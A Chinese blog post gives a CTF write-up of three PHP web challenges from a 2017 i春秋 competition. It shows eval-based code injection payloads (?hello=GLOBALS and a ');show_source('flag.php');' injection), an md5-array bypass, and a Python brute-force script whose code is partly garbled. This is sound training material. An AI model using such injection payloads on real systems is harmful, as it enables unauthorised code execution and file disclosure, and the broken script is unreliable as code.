

i-春秋选手训练营-web训练

原创

今天也要美美哒

于 2020-12-20 08:58:22 发布

199



收藏 1

分类专栏: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_45871855/article/details/111401084

版权



[CTF 专栏收录该内容](#)

20 篇文章 1 订阅

订阅专栏

10pt

“百度杯”CTF比赛 2017 二月场

Misc web 爆破-1

“百度杯” CTF比赛 2017 二月场 X

分值: 10分 类型: Misc Web 题目名称: 爆破-1 已解答

题目内容: flag就在某六位变量中。

创建赛题

Flag: 提交

解题排名: 1 青海长云 2 canic 3 王乙文

[提交Writeup获取泉币](#)

https://blog.csdn.net/weixin_45871855

PHP一个比较有意思的变量!\$GLOBALS: 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

```

<?php include "flag.php"; //包含flag.php这个文件
$a = @$_REQUEST['hello']; // $a这个变量请求变量hello的值
if(!preg_match('/^\w*$/', $a )){ // 正则表达式，匹配字符串， \w表示字符+数字+下划线， *代表有若干个\w字符组成。
    die('ERROR');//不匹配则输出ERROR }
eval("var_dump($$a);"); //如果匹配输出$$a的值
//var_dump()会返回数据变量的类型和值
show_source(__FILE__);
?>

```

传 /?hello=GLOBALS

The screenshot shows a browser window with the URL <https://191ddb61d5d04857af9958586d29d9318097a6f742f44f3f.changame.ichunqiu.com/?hello=GLOBALS>. The page content displays the PHP code from the previous block, with some parts highlighted in green and red. Below the code, the output of the eval statement is shown:

```

array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(5) { ["UM_distinctid"]=> string(59)
"175f7cb308648-0f61c6abac5c44-4c3f2779-144000-175f7cb30871dd" ["Hm_lvt_2d0601bd28de7d49818249cf35d95943"]=> string(10) "1606180090" ["chkphone"]=> string(33)
"acWxNpxhQpDiAchhNuSnEqiQuDIO0O00" ["ci_session"]=> string(40) "b40d8d5d915c3f75e508ae7e5166f81adcfa6bb" ["_jsluid_h"]=> string(38) "15e6faeac498ec91f0b08e42d493304e" }
["FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flag在一个长度为6的变量里面" ["d3f0f8"]=> string(42) "flag{ea4dd402-1cd-438e-b728-9ce86eb057b9}" ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* } <?php
include_flag.php';
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/', $a )) {
    die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

```

The URL in the address bar is https://blog.csdn.net/weixin_45871855.

得flag

Misc Web 爆破-2

The screenshot shows the Baidu Cup CTF 2017 February competition interface. The title is "百度杯" CTF比赛 2017 二月场. The challenge details are:

- 分值: 10分
- 类型: Misc Web
- 题目名称: 爆破-2
- 已解答 (Solved)

题目内容: flag不在变量中。

Flag: 提交

解题排名: 1 青海长云 2 icq_null 3 执念于心

[提交Writeup获取泉币](#)

The URL in the address bar is https://blog.csdn.net/weixin_45871855.

var_dump()会返回数据变量的类型和值

eval()会把字符串当作php代码

```

<?php
include "flag.php"; //包含flag.php这个文件
$a = @$_REQUEST['hello']; // $a这个变量请求变量hello的值
eval("var_dump($a);"); //如果匹配输出$a的值
show_source(__FILE__);

```

方法一：传入：?hello=file('flag.php')



The screenshot shows a browser window with the URL `cde54bafa9d545ccaed0683ab4a851ea3b5e744531c0471d.changame.ichunqiu.com/?hello=file('flag.php')`. The page content displays the PHP code from the file 'flag.php' which includes a string assignment and an eval statement. The source code is also shown at the bottom.

```
array(3) { [0]=> string(6) "string(32) \"$flag = 'Too Young Too Simple';" [2]=> string(45) "#flag{9d183c87-38f5-46b4-b781-faebdd7d8049};" } <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);
```

方法二：传 ?hello=);show_source('flag.php');var_dump(



The screenshot shows a browser window with the URL `cde54bafa9d545ccaed0683ab4a851ea3b5e744531c0471d.changame.ichunqiu.com/?hello=);show_source('fi`. The page content displays the PHP code from the file 'flag.php' with a trailing semicolon and a var_dump call, followed by a show_source call. The source code is also shown at the bottom.

```
<?php $flag = 'Too Young Too Simple'; #flag{9d183c87-38f5-46b4-b781-faebdd7d8049}; <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);
```

得flag

Misc Web 爆破-3

```
<?php
error_reporting(0); // 规定报告哪个错误
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
    $_SESSION['nums'] = 0;
    $_SESSION['time'] = time();
    $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
    session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
    $_SESSION['nums']++;
    $_SESSION['whoami'] = $str_rands;
    echo $str_rands;
}

if($_SESSION['nums']>=10){
    echo $flag;
}

show_source(__FILE__);
?>
```

一开始nums为0，接收的value变量，要满足value数组的前两个数和whoami变量相同并且md5加密后的value变量为0（这个可以用MD5无法处理数组的漏洞）

也就是第一次，传入变量?value[]=ea，因此value[0]=ea与whoami想等,所以nums++ (如果value[]!=ea&value!=es的话，value[0].value[1]=eaes)

然后随意A-Z+A-Z，写个脚本，把显示出来的两个随机衣服在value[]==xx传值进去，直到输出flag
变量str_rand的值是2位小写字母

如果SESSIONS中的whoami参数和参数value的值相等，并且md5()函数处理后的变量value的第5位开始往后4位等于0，nums就会加1，whoami的值就也会更新，当nums大于10的话，就能得到flag了

数组可以绕过md5的这个判断，因为md5()函数处理一个数组会返回null，null==0

第一次传参，?value[]=ea



```
ez <?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
    $_SESSION['nums'] = 0;
    $_SESSION['time'] = time();
    $_SESSION['whoami'] = 'ea';
}
```

https://blog.csdn.net/weixin_45871855

python脚本跑一下

```
import requests

s = requests.session()

strs = ['abcdefghijklmnopqrstuvwxyz']

url = "http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value[]=" + r.text[2]
r = s.get(url)

for i in range(10):
    url_1 = "http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value[]=" + r.text[2]
    r = s.get(url_1)
    print(r.url)
    if 'flag' in r.text:
        print(r.text)
```

```
import requests
s = requests.session()
strs = ['abcdefghijklmnopqrstuvwxyz']
url = "http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value[]=" + ea
r = s.get(url)
for i in range(10):
    for i in range(10):
        print(r.text)
```

Run: Misc_Web3

http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value%5B%5D=tx
http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value%5B%5D=je
http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value%5B%5D=wa
http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value%5B%5D=qd
http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value%5B%5D=ve
http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value%5B%5D=zu
http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value%5B%5D=lu
http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value%5B%5D=on
blflag{9c78683f-2370-4bd0-abba-a49cb8a1185b}<code>
<?php
error_reporting(0);</code>

http://44cf88a78da241249ca10151b2462cc4e2c1c96da6dc4c5a.changame.ichunqiu.com/?value%5B%5D=b1
khflag{9c78683f-2370-4bd0-abba-a49cb8a1185b}<code>
<?php
error_reporting(0);</code>

进程已结束，退出代码 0

得到flag